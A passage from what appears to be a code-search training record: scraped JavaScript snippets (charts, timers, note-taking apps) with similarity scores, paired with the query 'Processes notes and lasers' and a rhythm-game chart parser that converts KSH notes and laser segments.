self.lineData[0].close;\n var high = d3.max(self.lineData, function(d) {\n return d.high;\n });\n\n var low = d3.min(self.lineData, function(d) {\n return d.low;\n });\n\n var last = self.lineData[self.lineData.length - 1].close;\n var vol = d3.sum(self.lineData, function(d) {\n return d.baseVolume;\n });\n var pct = Number((((last - open) / open) * 100).toFixed(2));\n var pathStyle;\n var horizontalStyle;\n var pointerStyle;\n var changeStyle;\n var flash;\n\n\n if (Math.abs(pct) < 0.5) { // unchanged (less than .5%)\n pathStyle = {fill: 'rgba(160,160,160,0.45)', stroke: '#888'};\n horizontalStyle = {stroke: '#777', 'stroke-width': 1.5};\n pointerStyle = {fill: '#aaa'};\n changeStyle = {color: '#777'};\n\n } else if (last < open) { // down\n pathStyle = {fill: 'rgba(205,85,85,0.5)', stroke: '#a22'};\n horizontalStyle = {stroke: '#d22', 'stroke-width': 1.5};\n pointerStyle = {fill: '#c33'};\n changeStyle = {color: '#c33'};\n\n } else { // up\n pathStyle = {fill: 'rgba(145,205,115,0.4)', stroke: '#483'};\n horizontalStyle = {stroke: '#0a0', 'stroke-width': 1.5};\n pointerStyle = {fill: '#2a2'};\n changeStyle = {color: '#2a2'};\n }\n\n svg.datum(self.lineData).transition().style('opacity', 1);\n\n var start = getAlignedCandle(moment().subtract(1, 'day'));\n\n if (start.unix() < self.lineData[0].startTime.unix()) {\n start = self.lineData[0].startTime;\n }\n\n // Update the x-scale.\n xScale\n .domain([start, getAlignedCandle()])\n .range([0, width]);\n\n\n // Update the y-scale.\n priceScale\n .domain([\n d3.min(self.lineData, function(d) {\n return d.close;\n }) * 0.975,\n d3.max(self.lineData, function(d) {\n return d.close;\n }) * 1.025\n ])\n .range([height, 0]).nice();\n\n gEnter.select('.grid')\n .call(d3.svg.axis()\n .scale(priceScale)\n .orient('right')\n .ticks(5)\n .tickSize(width, 0, 0)\n .tickFormat('')\n );\n\n // add the price line\n if (update) {\n gEnter.select('.line')\n .datum(self.lineData)\n .transition()\n .duration(300)\n .attr('d', area)\n .style(pathStyle);\n\n } else {\n gEnter.select('.line')\n .datum(self.lineData)\n .attr('d', area)\n .style(pathStyle);\n }\n\n // Update the x-axis.\n gEnter.select('.x.axis').call(xAxis)\n .attr('transform', 'translate(0,' + priceScale.range()[0] + ')');\n\n // Update the y-axis.\n gEnter.select('.price.axis').call(priceAxis)\n .attr('transform', 'translate(' + xScale.range()[1] + ', 0)');\n\n var lastY = priceScale(last) - 5;\n\n if (lastY < 20) {\n lastY += 20;\n }\n\n var showLast = amountToHuman(last, 5);\n\n if (update) {\n if (direction === 'up') {\n flash = '#393';\n } else if (direction === 'down') {\n flash = '#a22';\n } else {\n flash = '#888';\n }\n\n horizontal.style({stroke: flash, 'stroke-width': 4})\n .transition().duration(600)\n .attr('transform', 'translate(0, ' + priceScale(last) + ')')\n .style(horizontalStyle);\n pointer.style({fill: flash})\n .transition().duration(600)\n .attr('transform', 'translate(' +\n (width + margin.left) + ', ' +\n priceScale(last) + ')')\n .style(pointerStyle);\n lastPrice.transition().duration(600)\n .attr('transform', 'translate(0, ' + lastY + ')')\n .text(showLast);\n bg.style({fill: flash, opacity: 0.3})\n .transition().duration(1000)\n .style({opacity: 0});\n\n } else {\n horizontal.style(horizontalStyle)\n .attr('transform', 'translate(0, ' +\n priceScale(last) + ')');\n pointer.style(pointerStyle)\n .attr('transform', 'translate(' +\n (width + margin.left) + ', ' +\n priceScale(last) + ')');\n lastPrice.text(showLast)\n .attr('transform', 'translate(0, ' + lastY + ')');\n }\n\n vol = amountToHuman(vol);\n showHigh.html('<label>H:</label> ' + amountToHuman(high, 5));\n showLow.html('<label>L:</label> ' + amountToHuman(low, 5));\n change.html((pct > 0 ? ' + ' : '') + amountToHuman(pct) + '%')\n .style(changeStyle);\n volume.html('<label>V:</label> ' + vol +\n '<small>' + baseCurrency + '</small>');\n\n // show the chart and details\n details.selectAll('td').style('opacity', 1);\n gEnter.transition().style('opacity', 1);\n }", "function drawTimer() {\n let cvs = document.getElementById('cvs');\n let ctx = cvs.getContext('2d');\n\n let mid = (cols * field_dim) / 2;\n\n let current_time = new Date().getTime();\n\n ctx.save();\n\n ctx.fillStyle = '#d1d1d1';\n ctx.strokeStyle = '#00ff00';\n let elapsed_time = current_time - start_time;\n ctx.beginPath();\n\n ctx.rect(mid - 100, 0, 200, 10);\n ctx.fill();\n\n ctx.beginPath();\n ctx.font = '10px Arial';\n ctx.fillStyle = '#00ff00';\n ctx.fillText(\"\" + elapsed_time, mid - 50, 10);\n\n ctx.stroke();\n ctx.fill();\n ctx.restore();\n\n\n}", "function getLineData(){\r\n\t \t\t var jsonUnit = \"\";\r\n\t \t\t var label=\"\";\r\n\t \t\t\t\t var fillColor = \"\";\r\n\t \t\t\t\t var strokeColor = \"\";\r\n\t \t\t\t\t var pointColor = \"\";\r\n\t \t\t\t\t var pointStrokeColor = \"#fff\";\r\n\t \t\t\t\t var pointHighlightFill = \"#fff\";\r\n\t \t\t\t\t var pointHighlightStroke = \"\";\r\n\t \t\t\t\t\tdata : \r\n\t \t\t for(var i=0; i<$scope.unit_yData.length;i++){\r\n\t \t\t\t label=$scope.unit_names[i];\r\n\t \t\t\t switch(i%5) {\r\n\t\t \t\t\t case 0:\r\n\t\t \t\t\t fillColor = \"rgba(220,220,220,0.2)\";\r\n\t\t \t\t\t strokeColor = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t pointColor = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t pointStrokeColor = \"#fff\";\r\n\t\t \t\t\t pointHighlightFill = \"#fff\";\r\n\t\t \t\t\t pointHighlightStroke = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t break;\r\n\t\t \t\t\t case 1:\r\n\t\t \t\t\t \tfillColor = \"rgba(169,152,142,0.2)\";\r\n\t\t \t\t\t strokeColor = \"rgba(215,203,209,1)\";\r\n\t\t \t\t\t pointColor = \"rgba(230,210,222,1)\";\r\n\t\t \t\t\t pointStrokeColor = \"#fff\";\r\n\t\t \t\t\t pointHighlightFill = \"#fff\";\r\n\t\t \t\t\t pointHighlightStroke = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t break;\r\n\t\t \t\t\t case 2:\r\n\t\t \t\t\t \tfillColor = \"rgba(050,125,100,0.2)\";\r\n\t\t \t\t\t strokeColor = \"rgba(125,220,025,1)\";\r\n\t\t \t\t\t pointColor = \"rgba(036,201,119,1)\";\r\n\t\t \t\t\t pointStrokeColor = \"#fff\";\r\n\t\t \t\t\t pointHighlightFill = \"#fff\";\r\n\t\t \t\t\t pointHighlightStroke = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t break;\r\n\t\t \t\t\t case 3:\r\n\t\t \t\t\t \tfillColor = \"rgba(025,082,112,0.2)\";\r\n\t\t \t\t\t strokeColor = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t pointColor = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t pointStrokeColor = \"#fff\";\r\n\t\t \t\t\t pointHighlightFill = \"#fff\";\r\n\t\t \t\t\t pointHighlightStroke = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t break;\r\n\t\t \t\t\t default:\r\n\t\t \t\t\t \tfillColor = \"rgba(255,255,0,0.2)\";\r\n\t\t \t\t\t strokeColor = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t pointColor = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t pointStrokeColor = \"#fff\";\r\n\t\t \t\t\t pointHighlightFill = \"#fff\";\r\n\t\t \t\t\t pointHighlightStroke = \"rgba(220,220,220,1)\";\r\n\t\t \t\t\t}\r\n\t \t\t\t if($scope.unit_yData.length==1){\r\n\t \t\t\t\t jsonUnit = \"[\"+jsonUnit + JSON.stringify({\"data\":$scope.unit_yData[i],\"label\":label,\"fillColor\":fillColor,\"strokeColor\":strokeColor,\"pointColor\":pointColor,\"pointStrokeColor\":pointStrokeColor,\"pointHighlightFill\":pointHighlightFill,\"pointHighlightStroke\":pointHighlightStroke}) + \"]\";\r\n\t \t\t\t\t break;\r\n\t \t\t\t }\r\n\t \t\t\t if(i==0){\r\n\t \t\t\t\t jsonUnit = \"[\"+jsonUnit + JSON.stringify({\"data\":$scope.unit_yData[i],\"label\":label,\"fillColor\":fillColor,\"strokeColor\":strokeColor,\"pointColor\":pointColor,\"pointStrokeColor\":pointStrokeColor,\"pointHighlightFill\":pointHighlightFill,\"pointHighlightStroke\":pointHighlightStroke});\r\n\t \t\t\t }\r\n\t \t\t\t if(i>0 && i<$scope.unit_yData.length-1){\r\n\t \t\t\t\t jsonUnit = jsonUnit+\",\" + JSON.stringify({\"data\":$scope.unit_yData[i],\"label\":label,\"fillColor\":fillColor,\"strokeColor\":strokeColor,\"pointColor\":pointColor,\"pointStrokeColor\":pointStrokeColor,\"pointHighlightFill\":pointHighlightFill,\"pointHighlightStroke\":pointHighlightStroke});\r\n\t \t\t\t }\r\n\t \t\t\t if(i==$scope.unit_yData.length-1){\r\n\t \t\t\t\t jsonUnit = jsonUnit +\",\" + JSON.stringify({\"data\":$scope.unit_yData[i],\"label\":label,\"fillColor\":fillColor,\"strokeColor\":strokeColor,\"pointColor\":pointColor,\"pointStrokeColor\":pointStrokeColor,\"pointHighlightFill\":pointHighlightFill,\"pointHighlightStroke\":pointHighlightStroke})+\"]\";\r\n\t \t\t\t }\r\n\t \t\t }\r\n\t \t\t return JSON.parse(jsonUnit);\r\n\t \t }" ]
[ "0.5970592", "0.58104146", "0.5777774", "0.5767043", "0.57585514", "0.5732503", "0.56858045", "0.56772625", "0.5603378", "0.5581773", "0.55628914", "0.5534295", "0.5530951", "0.55201536", "0.55201536", "0.5517782", "0.5407784", "0.5373382", "0.535156", "0.53411275", "0.5332988", "0.53165036", "0.5281468", "0.52691054", "0.5268759", "0.5246879", "0.52312493", "0.52256364", "0.5221797", "0.52075446", "0.5188581", "0.51708907", "0.5165578", "0.51626337", "0.5161336", "0.51594645", "0.51503235", "0.51432735", "0.5137812", "0.51357126", "0.51324767", "0.51269674", "0.5126933", "0.5126133", "0.5118848", "0.5111003", "0.5103751", "0.5085289", "0.50804806", "0.50660586", "0.5047952", "0.50377053", "0.50259495", "0.5016096", "0.5015211", "0.5015211", "0.5015068", "0.5004659", "0.5004659", "0.5004659", "0.5004659", "0.5001479", "0.49835685", "0.49826196", "0.49797", "0.4972943", "0.49710593", "0.49705333", "0.49677426", "0.49592704", "0.49509996", "0.4950647", "0.49432445", "0.49431986", "0.4935198", "0.4935196", "0.4932486", "0.49224356", "0.492224", "0.49106532", "0.4908887", "0.49076673", "0.48990104", "0.48974848", "0.48944408", "0.48933777", "0.4893186", "0.48897082", "0.48861867", "0.48858476", "0.48822784", "0.48816797", "0.4881334", "0.48803318", "0.48797917", "0.48767087", "0.48762625", "0.48743194", "0.48645103", "0.48622322" ]
0.50656927
50
Processes notes and lasers
_setKSONNoteInfo() { // Stores [start, len] long note infos let longInfo = {'bt': [null, null, null, null], 'fx': [null, null]}; // Stores [start, effect] FX audio effects let fxAudioEffects = [null, null]; NOP(fxAudioEffects); const cutLongNote = (type, lane) => { const lit = longInfo[type]; if(lit[lane] === null) return; const result = this.addNote(type, lane, lit[lane][0], lit[lane][1]); if(!result[0]){ throw new Error(`Invalid ksh long notes! (${result[1].y} and ${lit[lane][0]} at ${lane} collides)`); } lit[lane] = null; }; const addLongInfo = (type, lane, y, l) => { const lit = longInfo[type]; if(lit[lane] === null) lit[lane] = [y, 0]; if(lit[lane][0] + lit[lane][1] != y) { throw new Error("Invalid ksh long notes!"); } lit[lane][1] += l; }; // Stores current laser segments and how wide should they be let laserSegments = [null, null]; let laserWide = [1, 1]; const cutLaserSegment = (lane) => { if(laserSegments[lane] === null) return; this.addLaserSegment(lane, laserSegments[lane]); laserSegments[lane] = null; laserWide[lane] = 1; }; const addLaserSegment = (lane, y, v) => { if(laserSegments[lane] === null) laserSegments[lane] = new VGraphSegment(true, {'y': y, 'wide': laserWide[lane]}); laserSegments[lane].pushKSH(y, v, true); }; this._ksmMeasures.forEach((measure) => { measure.forEach((kshLine) => { kshLine.mods.forEach(([key, value]) => { switch(key) { case 'laserrange_l': laserWide[0] = value === "2x" ? 2 : 1; break; case 'laserrange_r': laserWide[1] = value === "2x" ? 2 : 1; break; } }); // BT for(let i=0; i<4; i++) { const c = kshLine.bt[i]; if(c === '0' || c === '1') cutLongNote('bt', i); if(c === '0') continue; if(c === '1') { // Single short note this.addNote('bt', i, kshLine.tick, 0); continue; } addLongInfo('bt', i, kshLine.tick, kshLine.len); } // FX for(let i=0; i<2; i++) { const c = kshLine.fx[i]; if(c === '0' || c === '2') cutLongNote('fx', i); if(c === '0') continue; if(c === '2') { // Single short note this.addNote('fx', i, kshLine.tick, 0) continue; } addLongInfo('fx', i, kshLine.tick, kshLine.len); } // Laser for(let i=0; i<2; i++) { const c = kshLine.laser[i]; if(c === '-') { cutLaserSegment(i); continue; } if(c === ':') continue; const pos = KSH_LASER_VALUES.indexOf(c); if(pos === -1) throw new Error(L10N.t('ksh-import-error-invalid-laser-pos')); addLaserSegment(i, kshLine.tick, pos/50); } }); }); for(let i=0; i<4; ++i) cutLongNote('bt', i); for(let i=0; i<2; ++i) cutLongNote('fx', i); for(let i=0; i<2; ++i) cutLaserSegment(i); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "handler(argv){\n notes.readNotes(argv.title);\n }", "function finalizeNote() {\r\n if (mel.type === \"melody\" || mel.type === \"gracenote\") {\r\n var note = mel.staffPosition.substring(0,1); // Staff position never has sharps or flats.\r\n var midiOffset = +mel.staffPosition.substring(1);\r\n if (lastKeySig && lastKeySig.data && lastKeySig.data.key && lastKeySig.data.key[note]) {\r\n note += lastKeySig.data.key[note]\r\n }\r\n mel.midiName = HD_TO_MIDINAME_XLATE[note + midiOffset];\r\n mel.midiNote = MIDINAME_TO_MIDI_NOTE[mel.midiName];\r\n mel.shortNoteName = note;\r\n }\r\n }", "handler(argv) {\n notes.addNote(argv.title,argv.body)\n }", "handler () {\n notes.addNote(title, body);\n }", "handler(argv){\n notes.addNote(argv.title, argv.body)\n }", "function handleMidiMessage(note) {\n\t// filter active sense messages\n\tif(note.data[0] == 254) {\n\t\treturn;\n\t}\n\tif( !( (0xF0 & note.data[0]) == 128 || (0xF0 & note.data[0]) == 144) ) {\n\t\treturn;\n\t}\n\n\tif (trace) {\n\t\tconsole.log(note.data);\n\t}\n\n\tconsole.log(convertCommand(note)); \n\tvar command = convertCommand(note); \n\t// notes[command.noteName + command.octave] = {number: note.data[1], playing: command.command};\n\tnotes[note.data[1]] = command.command;\n\tconsole.log(notes);\n\tdisplayNotes(printNotes().join(', '));\n\tvar chord = searchInversions(findChord(printNotes())); \n\tif(chord.chord) {\n\t\tdisplayChord(\n\t\t\tnumberToNote(printNotes()[chord.inversion]).note + \n\t\t\tchord.chord + ' ' +\n\t\t\tchord.inversion\n\t\t);\n\t}\n\telse {\n\t\tdisplayChord('');\n\t}\n\tif (\n\t\tnumberToNote(printNotes()[chord.inversion]).note+chord.chord == \n\t\tquiz.current\n\t) {\n\t\tquiz.next();\n\t}\n\t// var key = document.getElementById(numberToNote(note.data[1]).note);\n\tvar key = document.querySelector(\n\t\t'#octave' + numberToNote(note.data[1]).octave + ' #' +\n\t\tnumberToNote(note.data[1]).note\n\t);\n\tkey.classList.toggle('pressed');\n}", "function loadNotes() {\n\t\tfor(var i = 0; i < tuneJSON.tracks.length; i++) {\n\t\t\tif(typeof tuneJSON.tracks[i].instrument !== 'undefined') {//if not a blank track\n\t\t\t\tfor(var j = 0; j<tuneJSON.tracks[i].notes.length; j++){\n\t\t\t\t\tvar $tab = $('#track' + i);\n\t\t\t\t\tdrawNote(tuneJSON.tracks[i].notes[j],$tab);//calls helper function to draw the note\n\t\t\t\t}\n\t\t\t} \n\t\t\t\n\t\t}\n\t}", "function renderNotes() {\r\n for (var i = 0; i < notesListLS.length; i++) {\r\n createMarkup(i);\r\n }\r\n}", "function post( event ) {\n\n\t\tlet slideElement = deck.getCurrentSlide(),\n\t\t\tnotesElements = slideElement.querySelectorAll( 'aside.notes' ),\n\t\t\tfragmentElement = slideElement.querySelector( '.current-fragment' );\n\n\t\tlet messageData = {\n\t\t\tnamespace: 'reveal-notes',\n\t\t\ttype: 'state',\n\t\t\tnotes: '',\n\t\t\tmarkdown: false,\n\t\t\twhitespace: 'normal',\n\t\t\tstate: deck.getState()\n\t\t};\n\n\t\t// Look for notes defined in a slide attribute\n\t\tif( slideElement.hasAttribute( 'data-notes' ) ) {\n\t\t\tmessageData.notes = slideElement.getAttribute( 'data-notes' );\n\t\t\tmessageData.whitespace = 'pre-wrap';\n\t\t}\n\n\t\t// Look for notes defined in a fragment\n\t\tif( fragmentElement ) {\n\t\t\tlet fragmentNotes = fragmentElement.querySelector( 'aside.notes' );\n\t\t\tif( fragmentNotes ) {\n\t\t\t\tmessageData.notes = fragmentNotes.innerHTML;\n\t\t\t\tmessageData.markdown = typeof fragmentNotes.getAttribute( 'data-markdown' ) === 'string';\n\n\t\t\t\t// Ignore other slide notes\n\t\t\t\tnotesElements = null;\n\t\t\t}\n\t\t\telse if( fragmentElement.hasAttribute( 'data-notes' ) ) {\n\t\t\t\tmessageData.notes = fragmentElement.getAttribute( 'data-notes' );\n\t\t\t\tmessageData.whitespace = 'pre-wrap';\n\n\t\t\t\t// In case there are slide notes\n\t\t\t\tnotesElements = null;\n\t\t\t}\n\t\t}\n\n\t\t// Look for notes defined in an aside element\n\t\tif( notesElements ) {\n\t\t\tmessageData.notes = Array.from(notesElements).map( notesElement => notesElement.innerHTML ).join( '\\n' );\n\t\t\tmessageData.markdown = notesElements[0] && typeof notesElements[0].getAttribute( 'data-markdown' ) === 'string';\n\t\t}\n\n\t\tspeakerWindow.postMessage( JSON.stringify( messageData ), '*' );\n\n\t}", "function postNotes() {\n var pagearea = document.querySelector(\".note-box\");\n pagearea.innerHTML = \"\";\n var title = document.createElement(\"div\");\n title.className = \"title\";\n title.innerHTML = `<h1 class=\"display-3\">\n YOUR NOTES\n </h1>\n <hr class=\"cyan accent-1\" />\n `;\n pagearea.appendChild(title);\n notes.sort(function (a, b) {\n return b.pri - a.pri;\n });\n notes.forEach(e => {\n if (e.state) {\n var note = document.createElement(\"div\");\n note.style.transform = `rotate(${randomInteger(-15, 15)}deg)`;\n if (e.pri === \"1\") note.className = `card red accent-3 text-white`;\n else if (e.pri === \"2\") note.className = `card yellow accent-1`;\n else if (e.pri === \"3\") note.className = `card light-green accent-3`;\n note.className += \" hoverable z-depth-1\";\n note.innerHTML = `\n <div class=\"card-body\">\n <h2 style=\"display:none\">${e.id}</h2>\n <h3 class=\"card-title\">${e.title}</h3>\n <pre class=\"card-text\">${e.content}</pre>\n <button class=\"btn btn-primary float-left edit\">Edit</button>\n <button class=\"btn btn-danger delete\"><i class=\"material-icons\">close</i></button>\n </div>\n `;\n pagearea.appendChild(note);\n }\n });\n var x = document.querySelectorAll(\".delete\");\n x.forEach(element => {\n element.addEventListener(\"click\", e => {\n notes.forEach((note, i) => {\n if (note.id == element.parentElement.firstElementChild.innerHTML) {\n note.state = 0;\n sendmsg(\"Note Removed\", \"warning\");\n deleteNote();\n postNotes();\n }\n });\n });\n });\n\n //Update The Note\n\n var edits = document.querySelectorAll(\".edit\");\n edits.forEach(element => {\n element.addEventListener(\"click\", e => {\n notes.forEach((note, i) => {\n if (note.id == element.parentElement.firstElementChild.innerHTML) {\n note.state = 0;\n document.getElementById(\"title\").value = note.title;\n document.getElementById(\"contentbody\").value = note.content;\n btn.innerHTML = \"Apply Changes\";\n }\n });\n });\n });\n}", "function createNotes() {\n\tsetClef('treble-clef');\n\t\n\t/* Creates Empty Div Element for Each Possible Note Location */\n\tfor (var i=1; i <= totalDivs; i++) {\n\t\tvar noteDiv = document.createElement('div');\n\t\tnoteDiv.id = String(i);\n\t\tnoteDiv.classList.add('note-item');\n\t\tnoteDiv.onclick = placeNote;\n\t\t\n\t\tvar parentDiv = document.getElementById('notes-div');\n\t\tparentDiv.appendChild(noteDiv);\n\t\t\n\t\tvar rowNum = getRowNumber(i);\n\t\tif (rowNum >= topRow && rowNum <= bottomRow) {\n\t\t\taddStaffLines(i);\n\t\t}\n\t}\n\n\t/* Establish 1st Note Column and Measure */\n\tlastEmptyCol = 1;\n\tmeasureNum = 1;\n}", "function listNotes(){\n var notes = getNotes();\n\n notes.forEach((note) => formatNote(note));\n}", "function delegate_note(action,data) {\n\tswitch(action) {\n\t\tcase \"get\":\n\t\t\tif(haswebsql) {\n\t\t\t\tglossdb.data.getnote(data.title,data.target);\t\n\t\t\t}\n\t\t\telse {\n\t\t\t\tglossdb.getnote(data.title,data.target);\n\t\t\t}\n\t\tbreak;\n\t\tcase \"show\":\n\t\t\t// get references to EXT form elements for notes\n\t\t\tvar fta = Ext.getCmp(\"notetextarea\");\n\t\t\tvar ftitle = Ext.getCmp(\"notetitle\");\n\t\t\tvar ftarget= Ext.getCmp(\"notetarget\"); \n\t\t\tvar flabel = Ext.getCmp(\"notelabel\");\n\t\t\t// get note window object\n\t\t\tvar notewindow = Ext.getCmp(\"notewindow\");\n\t\t\t// set the values of the form fields to the new values\n\t\t\tfta.setValue(data.notes);\n\t\t\tftitle.setValue(data.title);\n\t\t\tftarget.setValue(data.target);\n\t\t\tflabel.setText(data.title);\n\t\t\t// show the window\n\t\t\tnotewindow.show();\n\t\tbreak;\n\t\tcase \"delete\":\n\t\t\tif(haswebsql) {\n\t\t\t\tglossdb.data.deletenote(data.title,data.target);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tglossdb.deletenote(data.title,data.target);\n\t\t\t}\n\t\t\tshowMessage(\"notedelete\");\n\t\tbreak;\n\t\tcase \"save\":\n\t\t\t// get values of form fields\n\t\t\tvar notes = Ext.getCmp(\"notetextarea\").getValue();\n\t\t\tvar title = Ext.getCmp(\"notetitle\").getValue();\n\t\t\tvar target= Ext.getCmp(\"notetarget\").getValue(); \n\t\t\t// get reference to notes window\n\t\t\tvar notewindow = Ext.getCmp(\"notewindow\");\n\t\t\t// hide notes window\n\t\t\tnotewindow.hide();\n\t\t\t// show add message\n\t\t\tif(haswebsql) {\n\t\t\t\tglossdb.data.savenote(title,target,notes);\t\t\n\t\t\t}\n\t\t\telse {\n\t\t\t\tglossdb.savenote(title,target,notes);\t\n\t\t\t}\n\t\tbreak;\n\t}\n}", "function renderNotes(notes) {\n var renderNotesHTMLTemplate = Handlebars.compile($(\"#notes-template\").html());\n $(\"#displayNotes\").html(renderNotesHTMLTemplate(notes));\n $(\"div.description\").dotdotdot({\n after: \"a.more\",\n ellipsis: \"... \",\n wrap: \"word\",\n callback: dotdotdotCallback\n });\n $(\"div.description\").on(\"click\", showMoreClickEventHandler);\n }", "function storeNote() {\n let title = document.getElementById(\"title\").value; //receives text from input field\n let note = document.getElementById(\"takeNote\").value; //recieves text from textarea\n note = note.replace(/\\n\\r/g, \"<br />\"); //replace \\n \\r with \"<br />\" as notices are stored as an string\n if ((title || note) == \"\") {\n //leave function if title or note are empty\n return;\n }\n\n titles.push(title); //store title in array titles\n notes.push(note); //store note in array notes\n setArray(\"titles\", titles); //store also under localStorage\n setArray(\"notes\", notes); //store also under localStorage\n\n document.getElementById(\"title\").value = \"\"; // delete input title\n document.getElementById(\"takeNote\").value = \"\"; // delete input notes\n\n showNotes(\"my-notes\", titles, notes); //shows update notes\n}", "function main() {\n var m_temp = readLine().split(' ');\n var m = parseInt(m_temp[0]);\n var n = parseInt(m_temp[1]);\n magazine = readLine().split(' ');\n ransom = readLine().split(' ');\n if (canCreateNote(ransom, magazine)) {\n console.log('Yes');\n } else {\n console.log('No');\n }\n}", "function addNote() {\n let titleEl = document.getElementById(\"title\")\n let detailsEl = document.getElementById(\"details\")\n\n newNote = new Note(titleEl.value, detailsEl.value)\n allNotes.push(newNote)\n\n printNote(newNote)\n resetFields(titleEl, detailsEl)\n checkBadWords(newNote)\n // changeBackground()\n}", "function checknotes(){\r\n\r\n}", "function displayNotes(notes) {\n var oldContent = document.getElementById('script');\n var para = document.createElement(\"p\");\n para.id = 'script';\n var newContent = document.createTextNode(notes);\n para.appendChild(newContent);\n presenterNotes.replaceChild(para, oldContent);\n}", "function loadNotes (data) {\r\n for (var n in data) {\r\n var i = data[n];\r\n if (data.hasOwnProperty(n)) {\r\n var note = $('<div class=\"note\" id=\"'+i[\"id\"]+'\"><p>'+i[\"text\"]+'</p><div class=\"d\">x</div></div>');\r\n note.css({\r\n top: i[\"y\"] + \"px\",\r\n left: i[\"x\"] + \"px\"\r\n }).show();\r\n addToPage(note);\r\n } \r\n }\r\n}", "function controlNote(raphaelName, xPos, yPos, noteColor, text) {\n var noteText = breakLine(text);\n var currentNotePosition = {\"x\": 0, \"y\": 0};\n var currentContentPosition = {\"x\": 0, \"y\": 0};\n var currentDeletePosition = {\"x\": 0, \"y\": 0};\n var colorCodec = null, strokeCodec = null;\n\n if(noteColor == \"white\") {colorCodec = \"rgb(255, 255, 255)\"; strokeCodec = \"rgb(0, 0, 0)\";}\n if(noteColor == \"Blue\") {colorCodec = \"#8deeee\"; strokeCodec = \"#8deeee\";}\n if(noteColor == \"Pink\") {colorCodec = \"#ffc0cb\"; strokeCodec = \"#ffc0cb\";}\n if(noteColor == \"Green\") {colorCodec = \"#98fb98\"; strokeCodec = \"#98fb98\";}\n\n var noteWidth = 200;\n var noteHeight = function() { \n if(noteText.row * 24 < 160) return 160;\n else return noteText.row * 24;\n }\n\n var note1 = raphaelName.rect(xPos, yPos, 200, 20 * (noteText.row + 1)).attr({\n fill: colorCodec,\n stroke: strokeCodec,\n opacity: .5,\n cursor: \"move\"\n });\n\n var text = raphaelName.text(xPos + 100, yPos + noteText.row * 10, noteText.text).attr({\n fill: '#000000',\n 'font-size': 16,\n 'font-family': \"Lato,Helvetica,Arial,sans-serif\",\n 'font-weight': 300\n });\n\n var deleteButton = raphaelName.text(xPos + 25, yPos + 20 * (noteText.row + 1) - 10, \"Delete\").attr({\n fill: '#000000',\n 'font-family': \"Lato,Helvetica,Arial,sans-serif\",\n 'font-weight': 300,\n 'font-size': 14,\n });\n\n var start = function() {\n this.ox = this.attr(\"x\");\n this.oy = this.attr(\"y\");\n this.attr({opacity: 1});\n this.content.ox = this.content.attr(\"x\");\n this.content.oy = this.content.attr(\"y\");\n this.deleteButton.ox = this.deleteButton.attr(\"x\");\n this.deleteButton.oy = this.deleteButton.attr(\"y\");\n }\n\n var move = function(dx, dy) {\n this.attr({\n x: this.ox + dx*viewBoxWidth/1050, \n y: this.oy + dy*viewBoxHeight/700\n });\n this.content.attr({\n x: this.content.ox + dx*viewBoxWidth/1050, \n y: this.content.oy + dy*viewBoxHeight/700\n });\n this.deleteButton.attr({\n x: this.deleteButton.ox + dx*viewBoxWidth/1050, \n y: this.deleteButton.oy + dy*viewBoxHeight/700\n });\n }\n\n var up = function() {\n currentNotePosition.x = this.attr(\"x\");\n currentNotePosition.y = this.attr(\"y\");\n currentContentPosition.x = this.content.attr(\"x\");\n currentContentPosition.y = this.content.attr(\"y\");\n currentDeletePosition.x = this.deleteButton.attr(\"x\");\n currentDeletePosition.y = this.deleteButton.attr(\"y\");\n\n this.attr({opacity: 0.5});\n this.content.attr({opacity: 1});\n if(TogetherJS.running) {\n console.log(\"TogetherJS Sent!\");\n TogetherJS.send({\n type: \"movenote\",\n finalPositionX: currentNotePosition.x,\n finalPositionY: currentNotePosition.y,\n ID: note1.id,\n finalContentPositionX: currentContentPosition.x,\n finalContentPositionY: currentContentPosition.y,\n finalDeletePositionX: currentDeletePosition.x,\n finalDeletePositionY: currentDeletePosition.y\n });\n }\n }\n\n note1.content = text;\n note1.deleteButton = deleteButton;\n note1.color = noteColor;\n note1.drag(move, start, up);\n\n note1.deleteButton.click(function() {\n var noteX = note1.getBBox().x;\n var noteY = note1.getBBox().y;\n note1.animate({\n x: note1.getBBox().x + viewBoxWidth, \n y: 350}, 800, \"easeInOut\");\n note1.content.animate({\n x: 100 + note1.content.getBBox().x + viewBoxWidth, \n y: 350}, 800, \"easeInOut\");\n note1.deleteButton.animate({\n x: note1.deleteButton.getBBox().x + viewBoxWidth, \n y: 350}, 800, \"easeInOut\");\n if(TogetherJS.running) {\n console.log(\"TogetherJS Sent!\");\n TogetherJS.send({\n type: \"removenote\",\n text: noteText.text,\n ID: note1.id\n });\n }\n remove(raphaelName, noteText.text, note1); \n });\n return note1;\n}", "function resetNotesFormat() {\n\t\t$(\".notes\").each(function(index) {\n\t\t\tvar noteText = $.trim($(this).html());\n\t\t\tvar noteTextFormated = noteText.replace(/\\n\\r?/g, '<br>');\n\t\t\t$(this).html(noteTextFormated);\n\t\t});\n\t}", "function _initializeNoteSections()\n{\n\t// Ensure notes are submittable prior to running any note-specific logic\n\tif (_noteListings)\n\t{\n\t\t// Initializes all note areas\n\t\tfor (let i = _noteListings.length - 1; i >= 0; i -= 1)\n\t\t{\n\t\t\tnew noteHandler(_noteListings[i]);\n\t\t}\n\t}\n}", "function runAllParagraphs() {\n noteSelf.paragraphs[0].run(noteSelf.paragraphs.slice(1, noteSelf.paragraphs.length));\n }", "function resolveAllNote(events) {\n var length = events.length\n var index = -1\n var token\n\n while (++index < length) {\n token = events[index][1]\n\n if (events[index][0] === 'enter' && token.type === 'inlineNoteStart') {\n token.type = 'data'\n // Remove the two marker (`^[`).\n events.splice(index + 1, 4)\n length -= 4\n }\n }\n\n return events\n}", "function handleArticleNotes(event) {\n // This function handles opening the notes modal and displaying our notes\n // We grab the id of the article to get notes for from the card element the delete button sits inside\n var currentArticle = $(this)\n .parents(\".card\")\n .data();\n // Grab any notes with this headline/article id\n $.get(\"/api/notes/\" + 